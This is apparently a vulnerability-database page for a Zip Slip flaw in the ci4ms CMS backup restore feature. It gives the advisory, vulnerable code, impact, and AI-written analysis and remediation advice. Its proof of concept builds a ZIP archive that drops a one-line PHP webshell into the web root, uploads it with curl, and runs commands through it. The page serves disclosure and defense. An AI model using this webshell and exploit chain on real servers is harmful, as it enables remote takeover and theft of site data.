Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
8DescriptionGitHub Advisory
Summary
ci4ms Backup::restore extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the backup create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.
Details
modules/Backup/Controllers/Backup.php:80-119 implements the restore action. The uploaded file is moved to WRITEPATH . 'uploads/', and if the extension is zip, ZipArchive::extractTo() is called directly without iterating entries to verify they resolve inside the destination:
public function restore()
{
$valData = ([
'backup_file' => ['label' => 'Backup File', 'rules' => 'uploaded[backup_file]|ext_in[backup_file,zip]'],
]);
if ($this->validate($valData) == false) return redirect()->route('backup')->withInput()->with('errors', $this->validator->getErrors());
$file = $this->request->getFile('backup_file');
if ($file && $file->isValid() && ! $file->hasMoved()) {
$newName = $file->getRandomName();
$uploadPath = WRITEPATH . 'uploads/';
...
$filePath = WRITEPATH . 'uploads/' . $newName;
$sqlPath = $filePath;
if ($ext === 'zip') {
$zip = new \ZipArchive();
if ($zip->open($filePath) === true) {
$zip->extractTo($uploadPath); // no entry-name validation
$sqlPath = $uploadPath . $zip->getNameIndex(0);
$zip->close();
@unlink($filePath);
}
}
...
}
}A ZIP containing entries like ../../public/shell.php is extracted outside writable/uploads/ into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.
Routing: modules/Backup/Config/Routes.php binds POST backend/backup/restore to Backup::restore with role=create, and modules/Backup/Config/BackupConfig.php adds backend/backup and backend/backup/* to csrfExcept, so the route accepts cross-site POSTs from an authenticated administrator's browser.
PoC
Build the archive:
python3 -c "
import zipfile
with zipfile.ZipFile('evil.zip','w') as z:
z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
z.writestr('dump.sql', 'SELECT 1;')
"Submit it as a backup to restore:
curl -i -b 'ci4ms_session=<SESSION_ID>' \
-F 'backup_file=@evil.zip' \
https://target.example.com/backend/backup/restoreTrigger the shell:
curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)Impact
Any ci4ms account that can restore a backup can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles. Because the route is in the csrfExcept list, a logged-in administrator who visits a malicious page can be forced to perform the restore cross-site, turning this into drive-by RCE against site operators.
AnalysisAI
Remote code execution in ci4ms (CodeIgniter 4 Management System) versions prior to 0.31.5.0 allows authenticated backend users with backup creation permissions to write PHP webshells to the public web root via Zip Slip path traversal during backup restoration. The vulnerability is confirmed actively exploited (CISA KEV) with publicly available exploit code exists. CVSS 9.4 (Critical) aligns with the real-world risk, as exploitation requires only low-privilege authentication and the affected route is exempt from CSRF protection, enabling drive-by attacks against logged-in administrators. Vendor-released patch version 0.31.5.0 addresses the flaw by implementing path validation during ZIP extraction.
Technical ContextAI
The vulnerability stems from unsafe use of PHP's ZipArchive::extractTo() method in the Backup module's restore function (modules/Backup/Controllers/Backup.php lines 80-119). When processing uploaded ZIP files, the code calls extractTo() directly without validating that archive entry names resolve within the intended destination directory (WRITEPATH . 'uploads/'). This is a classic Zip Slip (CWE-22: Improper Limitation of a Pathname to a Restricted Directory) implementation flaw. An attacker can craft a ZIP archive containing entries with relative path traversal sequences like '../../public/shell.php', causing extraction to escape the uploads directory and write arbitrary files under the web-accessible public/ directory. The same codebase correctly implements path validation using realpath() and regex checks in modules/Methods/Controllers/Methods.php lines 165-175, but this defensive pattern was not applied to the backup restore function. The affected product is distributed as a Composer package (pkg:composer/ci4-cms-erp_ci4ms) and is built on the CodeIgniter 4 framework. The vulnerability is compounded by the route configuration which adds backend/backup and backend/backup/* to the csrfExcept list in modules/Backup/Config/BackupConfig.php, allowing POST requests without CSRF token validation.
RemediationAI
Immediately upgrade to ci4ms version 0.31.5.0 or later, which implements path validation during ZIP extraction to prevent directory traversal attacks. The patch applies realpath() checks and regex validation to ensure archive entries resolve within the intended destination directory before extraction. Upgrade instructions and release package are available at https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0. For installations that cannot immediately upgrade, implement these compensating controls with noted trade-offs: (1) Disable the backup restore functionality entirely by removing or commenting out the route binding for 'backend/backup/restore' in modules/Backup/Config/Routes.php - this breaks legitimate backup restoration workflows but eliminates the attack surface. (2) Restrict the 'backup create' permission to only the minimum number of highly-trusted superadmin accounts and audit all accounts currently holding this permission - this reduces attack surface but does not prevent exploitation by compromised privileged accounts or CSRF-driven attacks. (3) Implement web application firewall rules to block POST requests to /backend/backup/restore containing suspicious patterns in multipart form data, though this is bypassable with encoding variations. (4) Add the backup routes back to CSRF protection by removing 'backend/backup' and 'backend/backup/*' from csrfExcept in modules/Backup/Config/BackupConfig.php - this prevents CSRF-based exploitation but may break legitimate backup workflows if session handling is misconfigured. None of these workarounds provide complete protection; upgrading to 0.31.5.0 is the only definitive fix. After patching, audit server filesystems for unexpected PHP files in the public/ directory tree and review web server access logs for requests to /backend/backup/restore since initial deployment.
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all
Same weakness CWE-22 – Path Traversal
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-28255
GHSA-xp9f-pvvc-57p4